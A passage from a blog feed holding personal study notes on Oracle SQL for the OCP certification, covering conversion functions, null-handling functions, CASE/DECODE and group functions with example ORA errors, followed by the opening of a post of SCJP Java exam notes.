&lt;span id="cb5-6"&gt;&lt;a aria-hidden="true" href="#cb5-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;add_months&lt;/span&gt;(&lt;span class="st"&gt;'24-JAN-09 18:45'&lt;/span&gt;,&lt;span class="dv"&gt;1&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ORA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;1830&lt;/span&gt;: &lt;span class="dt"&gt;date&lt;/span&gt; format picture ends &lt;span class="kw"&gt;before&lt;/span&gt; converting entire input string&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="4" type="1"&gt;
&lt;li&gt;Optional national language support parameters (nls_parameters) are
useful for specifying the language and format in which the names of date
and numeric elements are returned&lt;/li&gt;
&lt;li&gt;Publicly available view called NLS_SESSION_PARAMETERS that contains
the NLS parameters for your current session. The default NLS_CURRENCY
value is the dollar symbol, but this can be changed at the user session
level ALTER SESSION set NLS_CURRENCY=‘GBP’;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TO_CHAR(number1, [format], [nls_parameter])&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;Formats&lt;/span&gt;
&lt;span id="cb6-2"&gt;&lt;a aria-hidden="true" href="#cb6-2" tabindex="-1"&gt;&lt;/a&gt;   &lt;span class="dv"&gt;9&lt;/span&gt;  &lt;span class="dt"&gt;Numeric&lt;/span&gt; width&lt;/span&gt;
&lt;span id="cb6-3"&gt;&lt;a aria-hidden="true" href="#cb6-3" tabindex="-1"&gt;&lt;/a&gt;   &lt;span class="dv"&gt;0&lt;/span&gt;  Displays &lt;span class="kw"&gt;leading&lt;/span&gt; zeros        Ex: &lt;span class="dv"&gt;09999&lt;/span&gt; &lt;span class="dv"&gt;0012&lt;/span&gt; &lt;span class="dv"&gt;00012&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-4"&gt;&lt;a aria-hidden="true" href="#cb6-4" tabindex="-1"&gt;&lt;/a&gt;   .  Position &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="dt"&gt;decimal&lt;/span&gt; point&lt;/span&gt;
&lt;span id="cb6-5"&gt;&lt;a aria-hidden="true" href="#cb6-5" tabindex="-1"&gt;&lt;/a&gt;   D  &lt;span class="dt"&gt;Decimal&lt;/span&gt; separator position (period &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt;)&lt;/span&gt;
&lt;span id="cb6-6"&gt;&lt;a aria-hidden="true" href="#cb6-6" tabindex="-1"&gt;&lt;/a&gt;   ,  Position &lt;span class="kw"&gt;of&lt;/span&gt; comma symbol&lt;/span&gt;
&lt;span id="cb6-7"&gt;&lt;a aria-hidden="true" href="#cb6-7" tabindex="-1"&gt;&lt;/a&gt;   G  &lt;span class="kw"&gt;Group&lt;/span&gt; separator position (comma &lt;span class="kw"&gt;is&lt;/span&gt; &lt;span class="kw"&gt;default&lt;/span&gt;)&lt;/span&gt;
&lt;span id="cb6-8"&gt;&lt;a aria-hidden="true" href="#cb6-8" tabindex="-1"&gt;&lt;/a&gt;   $  Dollar &lt;span class="fu"&gt;sign&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-9"&gt;&lt;a aria-hidden="true" href="#cb6-9" tabindex="-1"&gt;&lt;/a&gt;   L  &lt;span class="kw"&gt;Local&lt;/span&gt; currency&lt;/span&gt;
&lt;span id="cb6-10"&gt;&lt;a aria-hidden="true" href="#cb6-10" tabindex="-1"&gt;&lt;/a&gt;  MI  Position &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="kw"&gt;minus&lt;/span&gt; &lt;span class="fu"&gt;sign&lt;/span&gt; &lt;span class="cf"&gt;for&lt;/span&gt; negatives&lt;/span&gt;
&lt;span id="cb6-11"&gt;&lt;a aria-hidden="true" href="#cb6-11" tabindex="-1"&gt;&lt;/a&gt;  PR  Wrap negatives &lt;span class="kw"&gt;in&lt;/span&gt; parentheses&lt;/span&gt;
&lt;span id="cb6-12"&gt;&lt;a aria-hidden="true" href="#cb6-12" tabindex="-1"&gt;&lt;/a&gt;EEEE  Scientific notation [Must be &lt;span class="kw"&gt;only&lt;/span&gt; &lt;span class="dv"&gt;4&lt;/span&gt; E&lt;span class="st"&gt;'s and always gives in 1.xxxxxE+10 format]&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-13"&gt;&lt;a aria-hidden="true" href="#cb6-13" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="st"&gt;   U  nls_dual_currency [if nls_dual_currency value is set]&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-14"&gt;&lt;a aria-hidden="true" href="#cb6-14" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="st"&gt;   V  Multiplies by 10n times (n is the number of nines after V) Ex: 9999V99 3040 304000&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-15"&gt;&lt;a aria-hidden="true" href="#cb6-15" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="st"&gt;   S + or - sign is prefixed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;.. When a format mask is smaller than the number being converted, a
string of hash symbols is returned instead. .. When a format mask
contains fewer fractional components than the number, it is first
rounded to the number of decimal places in the format mask before being
converted.&lt;/p&gt;
&lt;ol start="7" type="1"&gt;
&lt;li&gt;TO_CHAR(date1, [format], [nls_parameter]) -&amp;gt; Default is
DD/MON/RR&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;‘Month’ -&amp;gt; January ‘MOnth’ -&amp;gt; JANUARY ‘month’ -&amp;gt; january&lt;/p&gt;
&lt;p&gt;‘Month’ -&amp;gt; padded with spaces ‘fmMonth’ -&amp;gt; Not padded with
spaces&lt;/p&gt;
&lt;p&gt;Y-YYYY -&amp;gt; Year digits RR -&amp;gt; 2 digit year YEAR -&amp;gt; Case
Sensitive Full Year spelling MM, MON, MONTH -&amp;gt; 2 digit, Three char,
full month -&amp;gt; case sensitive D, DD, DDD -&amp;gt; day of week, month,
year DY -&amp;gt; 3 letter abbreviation DAY -&amp;gt; Case Sensitive day&lt;/p&gt;
&lt;p&gt;only DAY, MONTH, YEAR are case sensitive AND PADDED NOT the shorter
forms&lt;/p&gt;
&lt;p&gt;W, WW -&amp;gt; week of month, year Q -&amp;gt; Quarter CC -&amp;gt; Century S
before CC, YYYY, YEAR -&amp;gt; sign (-) for BC I-IYYY -&amp;gt; ISO year dates
for Y-YYYY BC, AD, B.C. and A.D. -&amp;gt; to display BC or AD J -&amp;gt;
Julian Day -&amp;gt; days since 31 December 4713 BC IW -&amp;gt; ISO standard
week (1 to 53) RM -&amp;gt; Roman numeral month&lt;/p&gt;
&lt;p&gt;AM, PM, A.M. and P.M.-&amp;gt; Meridian Indicators HH, HH12 and HH24
-&amp;gt; Hour of day, 1-12 hours, and 0-23 hours MI, SS, SSSSS -&amp;gt;
Minutes. Seconds, Seconds past midnight&lt;/p&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="op"&gt;-&lt;/span&gt; &lt;span class="op"&gt;/&lt;/span&gt; . , ? # ! &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Punctuation marks &lt;span class="cf"&gt;for&lt;/span&gt; seperators&lt;/span&gt;
&lt;span id="cb7-2"&gt;&lt;a aria-hidden="true" href="#cb7-2" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="ot"&gt;"any literal"&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; simply displays &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="dt"&gt;character&lt;/span&gt; literal&lt;/span&gt;
&lt;span id="cb7-3"&gt;&lt;a aria-hidden="true" href="#cb7-3" tabindex="-1"&gt;&lt;/a&gt;  TH &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; positional &lt;span class="kw"&gt;or&lt;/span&gt; ordinal text &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;12&lt;/span&gt;th&lt;/span&gt;
&lt;span id="cb7-4"&gt;&lt;a aria-hidden="true" href="#cb7-4" tabindex="-1"&gt;&lt;/a&gt;  SP &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; spelled &lt;span class="kw"&gt;out&lt;/span&gt; &lt;span class="dt"&gt;number&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-5"&gt;&lt;a aria-hidden="true" href="#cb7-5" tabindex="-1"&gt;&lt;/a&gt;  THSP &lt;span class="kw"&gt;or&lt;/span&gt; SPTH &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Spelled &lt;span class="kw"&gt;out&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; Ordinal &lt;span class="dt"&gt;number&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; twelfth&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="8" type="1"&gt;
&lt;li&gt;TO_DATE(string1, [format], [nls_parameter])&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb8"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb8-1"&gt;&lt;a aria-hidden="true" href="#cb8-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_date&lt;/span&gt;(&lt;span class="st"&gt;'25-DEC'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ORA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;01840&lt;/span&gt;: input &lt;span class="fu"&gt;value&lt;/span&gt; &lt;span class="kw"&gt;not&lt;/span&gt; &lt;span class="dt"&gt;long&lt;/span&gt; enough &lt;span class="cf"&gt;for&lt;/span&gt; &lt;span class="dt"&gt;date&lt;/span&gt; format&lt;/span&gt;
&lt;span id="cb8-2"&gt;&lt;a aria-hidden="true" href="#cb8-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_date&lt;/span&gt;(&lt;span class="st"&gt;'25-DEC'&lt;/span&gt;, &lt;span class="st"&gt;'DD-MON'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;25&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dt"&gt;DEC&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;2009&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-3"&gt;&lt;a aria-hidden="true" href="#cb8-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_date&lt;/span&gt;(&lt;span class="st"&gt;'25-DEC-10'&lt;/span&gt;, &lt;span class="st"&gt;'fxDD-MON-YYYY'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ORA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;01862&lt;/span&gt;: &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="dt"&gt;numeric&lt;/span&gt; &lt;span class="fu"&gt;value&lt;/span&gt; does &lt;span class="kw"&gt;not&lt;/span&gt; match &lt;span class="kw"&gt;the&lt;/span&gt; &lt;span class="fu"&gt;length&lt;/span&gt; &lt;span class="kw"&gt;of&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; format item&lt;/span&gt;
&lt;span id="cb8-4"&gt;&lt;a aria-hidden="true" href="#cb8-4" tabindex="-1"&gt;&lt;/a&gt;  fx &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; Makes strict checking&lt;/span&gt;
&lt;span id="cb8-5"&gt;&lt;a aria-hidden="true" href="#cb8-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_date&lt;/span&gt;(&lt;span class="st"&gt;'25-DEC-10'&lt;/span&gt;, &lt;span class="st"&gt;'DD-MON-YYYY'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="dv"&gt;25&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dt"&gt;DEC&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;10&lt;/span&gt; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; takes &lt;span class="kw"&gt;as&lt;/span&gt; &lt;span class="dv"&gt;0010&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-6"&gt;&lt;a aria-hidden="true" href="#cb8-6" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb8-7"&gt;&lt;a aria-hidden="true" href="#cb8-7" tabindex="-1"&gt;&lt;/a&gt;Formats similar &lt;span class="kw"&gt;to&lt;/span&gt; Point &lt;span class="dv"&gt;7&lt;/span&gt; used &lt;span class="cf"&gt;for&lt;/span&gt; &lt;span class="fu"&gt;TO_CHAR&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="9" type="1"&gt;
&lt;li&gt;TO_NUMBER(string1, [format], [nls_parameter])&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_number&lt;/span&gt;(&lt;span class="st"&gt;'$1,000.55'&lt;/span&gt;)  &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ORA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;1722&lt;/span&gt;: invalid &lt;span class="dt"&gt;number&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb9-2"&gt;&lt;a aria-hidden="true" href="#cb9-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;to_number&lt;/span&gt;(&lt;span class="st"&gt;'$1,000.55'&lt;/span&gt;,&lt;span class="st"&gt;'$999,999.99'&lt;/span&gt;) &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="fl"&gt;1000.55&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-3"&gt;&lt;a aria-hidden="true" href="#cb9-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb9-4"&gt;&lt;a aria-hidden="true" href="#cb9-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;If&lt;/span&gt; you &lt;span class="fu"&gt;convert&lt;/span&gt; a &lt;span class="dt"&gt;number&lt;/span&gt; &lt;span class="kw"&gt;using&lt;/span&gt; a shorter format mask, an error &lt;span class="kw"&gt;is&lt;/span&gt; returned &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; RA&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;1722&lt;/span&gt;: invalid &lt;span class="dt"&gt;number&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb9-5"&gt;&lt;a aria-hidden="true" href="#cb9-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb9-6"&gt;&lt;a aria-hidden="true" href="#cb9-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;TO_NUMBER&lt;/span&gt;(&lt;span class="fl"&gt;123.56&lt;/span&gt;,&lt;span class="st"&gt;'999.9'&lt;/span&gt;) returns an error, &lt;span class="cf"&gt;while&lt;/span&gt; &lt;span class="fu"&gt;TO_CHAR&lt;/span&gt;(&lt;span class="fl"&gt;123.56&lt;/span&gt;,&lt;span class="st"&gt;'999.9'&lt;/span&gt;) returns &lt;span class="fl"&gt;123.6&lt;/span&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="10" type="1"&gt;
&lt;li&gt;&lt;p&gt;NVL(original, ifnull) -&amp;gt; both columns are mandatory :
ORA-00909: invalid number of arguments. .. nvl(substr(‘abc’,4),‘No
substring exists’) .. since there is no 4th character, it returns null
and hence the ‘No substring exists’ is returned&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;NVL2(original, ifnotnull, ifnull) .. The data types of the
ifnotnull and ifnull parameters must be compatible, and they cannot be
of type LONG. .. They must either be of the same type, or it must be
possible to convert ifnull to the type of the ifnotnull parameter. -&amp;gt;
ORA-01722: invalid number .. The data type returned by the NVL2 function
is the same as that of the ifnotnull parameter&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;NULLIF(ifunequal, comparison_term) -&amp;gt; returns NULL if both
terms are equal else the first term .. NO IMPLICIT conmversion -&amp;gt;
nullif(‘24-JUL-2009’,‘24-JUL-09’) returns the first term as these are
not equal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;COALESCE(expr1, expr2,…,exprn), where expr1 is returned if it is
not null, else expr2 if it is not null, and so on ..
COALESCE(expr1,expr2) = NVL(expr1,expr2) .. COALESCE(expr1,expr2,expr3)
= NVL(expr1,NVL(expr2,expr3)) .. The data type COALESCE returns if a not
null value is found is the same as that of the first not null parameter.
.. To avoid an “ORA-00932: inconsistent data types” error, all not null
parameters must have data types compatible with the first not null
parameter&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The DECODE function is specific to Oracle, while the CASE
expression is ANSI SQL compliant&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;DECODE(expr1,comp1, iftrue1, [comp2,iftrue2…[ compN,iftrueN]],
[iffalse])&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CASE search_expr&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;CASE&lt;/span&gt; search_expr&lt;/span&gt;
&lt;span id="cb10-2"&gt;&lt;a aria-hidden="true" href="#cb10-2" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;WHEN&lt;/span&gt; comparison_expr1 &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrue1&lt;/span&gt;
&lt;span id="cb10-3"&gt;&lt;a aria-hidden="true" href="#cb10-3" tabindex="-1"&gt;&lt;/a&gt;      [&lt;span class="cf"&gt;WHEN&lt;/span&gt; comparison_expr2 &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrue2&lt;/span&gt;
&lt;span id="cb10-4"&gt;&lt;a aria-hidden="true" href="#cb10-4" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;..&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-5"&gt;&lt;a aria-hidden="true" href="#cb10-5" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;WHEN&lt;/span&gt; comparison_exprN &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrueN&lt;/span&gt;
&lt;span id="cb10-6"&gt;&lt;a aria-hidden="true" href="#cb10-6" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;ELSE&lt;/span&gt; iffalse]&lt;/span&gt;
&lt;span id="cb10-7"&gt;&lt;a aria-hidden="true" href="#cb10-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="cf"&gt;END&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-8"&gt;&lt;a aria-hidden="true" href="#cb10-8" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb10-9"&gt;&lt;a aria-hidden="true" href="#cb10-9" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="cf"&gt;CASE&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-10"&gt;&lt;a aria-hidden="true" href="#cb10-10" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;WHEN&lt;/span&gt; condition1 &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrue1&lt;/span&gt;
&lt;span id="cb10-11"&gt;&lt;a aria-hidden="true" href="#cb10-11" tabindex="-1"&gt;&lt;/a&gt;      [&lt;span class="cf"&gt;WHEN&lt;/span&gt; condition2 &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrue2&lt;/span&gt;
&lt;span id="cb10-12"&gt;&lt;a aria-hidden="true" href="#cb10-12" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;..&lt;/span&gt;.&lt;/span&gt;
&lt;span id="cb10-13"&gt;&lt;a aria-hidden="true" href="#cb10-13" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;WHEN&lt;/span&gt; conditionN &lt;span class="cf"&gt;THEN&lt;/span&gt; iftrueN&lt;/span&gt;
&lt;span id="cb10-14"&gt;&lt;a aria-hidden="true" href="#cb10-14" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="cf"&gt;ELSE&lt;/span&gt; iffalse]&lt;/span&gt;
&lt;span id="cb10-15"&gt;&lt;a aria-hidden="true" href="#cb10-15" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="cf"&gt;END&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="chapter-6"&gt;Chapter 6&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;COUNT({*|[DISTINCT|ALL] expr}) ; .. The ALL keyword is part of the
default syntax, so COUNT(ALL expr) and COUNT(expr) are equivalent ..
These count the number of nonnull occurrences of expr in each group ..
Data Type allowed: NUMBER, DATE, CHAR, or VARCHAR2&lt;/li&gt;
&lt;li&gt;AVG([DISTINCT|ALL] expr) -&amp;gt; AVG(ALL expr) and AVG(expr) add the
nonnull values of expr for each row and divide the sum by the number of
nonnull rows in the group. .. Data Type allowed: NUMBER&lt;/li&gt;
&lt;li&gt;SUM([DISTINCT|ALL] expr) -&amp;gt; Data Type allowed: NUMBER&lt;/li&gt;
&lt;li&gt;MAX([DISTINCT|ALL] expr); MIN([DISTINCT|ALL] expr) .. Data Type
allowed: NUMBER, DATE, CHAR, or VARCHAR2&lt;/li&gt;
&lt;li&gt;VARIANCE([DISTINCT|ALL] expr); STDDEV([DISTINCT|ALL] expr); ..
Statistical variance refers to the variability of scores in a sample or
set of data. .. VARIANCE(DISTINCT expr) returns the variability of
unique nonnull data in a group. .. STDDEV calculates statistical
standard deviation, which is the degree of deviation from the mean value
in a group. It is derived by finding the square root of the variance. ..
Data Type allowed: NUMBER&lt;/li&gt;
&lt;li&gt;Group functions may only be nested two levels deep -&amp;gt; ORA-00935:
group function is nested too deeply.&lt;/li&gt;
&lt;li&gt;Select Statement&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb11"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb11-1"&gt;&lt;a aria-hidden="true" href="#cb11-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt;|expression|group_function(&lt;span class="kw"&gt;column&lt;/span&gt;|expression [alias]),&lt;span class="op"&gt;..&lt;/span&gt;.}&lt;/span&gt;
&lt;span id="cb11-2"&gt;&lt;a aria-hidden="true" href="#cb11-2" tabindex="-1"&gt;&lt;/a&gt;   &lt;span class="kw"&gt;FROM&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb11-3"&gt;&lt;a aria-hidden="true" href="#cb11-3" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;WHERE&lt;/span&gt; condition(s)]&lt;/span&gt;
&lt;span id="cb11-4"&gt;&lt;a aria-hidden="true" href="#cb11-4" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;GROUP&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; {col(s)|expr}]&lt;/span&gt;
&lt;span id="cb11-5"&gt;&lt;a aria-hidden="true" href="#cb11-5" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;ORDER&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; {col(s)|expr|numeric_pos} [&lt;span class="kw"&gt;ASC&lt;/span&gt;|&lt;span class="kw"&gt;DESC&lt;/span&gt;] [&lt;span class="kw"&gt;NULLS&lt;/span&gt; &lt;span class="fu"&gt;FIRST&lt;/span&gt;|&lt;span class="fu"&gt;LAST&lt;/span&gt;]];&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="8" type="1"&gt;
&lt;li&gt;If an item, which is not a group function, appears in the SELECT
list and there is no GROUP BY clause, -&amp;gt; ORA-00937: not a
single-group group function .. If a GROUP BY clause is present but that
item is not a grouping attribute, -&amp;gt; ORA-00979: not a GROUP BY
expression .. If a group function is placed in a WHERE clause -&amp;gt;
ORA-00934: group function is not allowed here&lt;/li&gt;
&lt;li&gt;Select Statement&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb12"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb12-1"&gt;&lt;a aria-hidden="true" href="#cb12-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; &lt;span class="kw"&gt;column&lt;/span&gt;|expression|group_function(&lt;span class="kw"&gt;column&lt;/span&gt;|expression [alias]),…}&lt;/span&gt;
&lt;span id="cb12-2"&gt;&lt;a aria-hidden="true" href="#cb12-2" tabindex="-1"&gt;&lt;/a&gt;   &lt;span class="kw"&gt;FROM&lt;/span&gt; &lt;span class="kw"&gt;table&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb12-3"&gt;&lt;a aria-hidden="true" href="#cb12-3" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;WHERE&lt;/span&gt; condition(s)]&lt;/span&gt;
&lt;span id="cb12-4"&gt;&lt;a aria-hidden="true" href="#cb12-4" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;GROUP&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; {col(s)|expr}]&lt;/span&gt;
&lt;span id="cb12-5"&gt;&lt;a aria-hidden="true" href="#cb12-5" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;HAVING&lt;/span&gt; group_condition(s)]&lt;/span&gt;
&lt;span id="cb12-6"&gt;&lt;a aria-hidden="true" href="#cb12-6" tabindex="-1"&gt;&lt;/a&gt;   [&lt;span class="kw"&gt;ORDER&lt;/span&gt; &lt;span class="kw"&gt;BY&lt;/span&gt; {col(s)|expr|numeric_pos} [&lt;span class="kw"&gt;ASC&lt;/span&gt;|&lt;span class="kw"&gt;DESC&lt;/span&gt;] [&lt;span class="kw"&gt;NULLS&lt;/span&gt; &lt;span class="fu"&gt;FIRST&lt;/span&gt;|&lt;span class="fu"&gt;LAST&lt;/span&gt;]];&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="10" type="1"&gt;
&lt;li&gt;&lt;p&gt;The HAVING clause can occur before the GROUP BY clause in the
SELECT statement. .. However, it is more common to place the HAVING
clause after the GROUP BY clause. .. All grouping is performed and group
functions are executed prior to evaluating the HAVING clause&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;NVL in Select clause only useful for display and NVL in WHERE or
HAVING is useful for modifying the values being verified ..
&lt;code&gt;NVL(x,0) -&amp;gt; 0&lt;/code&gt; ..
&lt;code&gt;LENGTH(NVL(x,0)) -&amp;gt; 1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Continued in &lt;a href="studying-for-ocp-oracle-certifed-professional-part-2"&gt;Part
2&lt;/a&gt;&lt;/p&gt;</content><category term="Software-Engineering"/><category term="oracle"/><category term="certification"/><category term="coding"/><category term="development"/><category term="sql"/></entry><entry><title>Aceing SCJP - Notes from Kathy Sierra Prep book - Part 2</title><link href="https://sengopal.me/posts/aceing-scjp-notes-from-kathy-sierra-prep-book-part-2" rel="alternate"/><published>2008-09-08T00:00:00-07:00</published><updated>2008-09-08T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2008-09-08:/posts/aceing-scjp-notes-from-kathy-sierra-prep-book-part-2</id><summary type="html">I recently completed the Sun Certified Java Programmer from Sun Microsystems and thought of sharing my notes from the Kathy Sierra SCJP preparation book which was the best material to prepare for this certification.</summary><content type="html">&lt;p&gt;I recently completed the Sun Certified Java Programmer from Sun
Microsystems and thought of sharing my notes and gotchas from the Kathy
Sierra SCJP preparation book which was the best material to prepare for
this certification. All the below notes are material extracted from this
link:https://www.amazon.com/SCJP-Certified-Programmer-Java-310-065/dp/0071591060[Kathy
Sierra’s book]. The below notes are from the 2008 edition and might not
be reflective of the latest Chapter specifics.&lt;/p&gt;
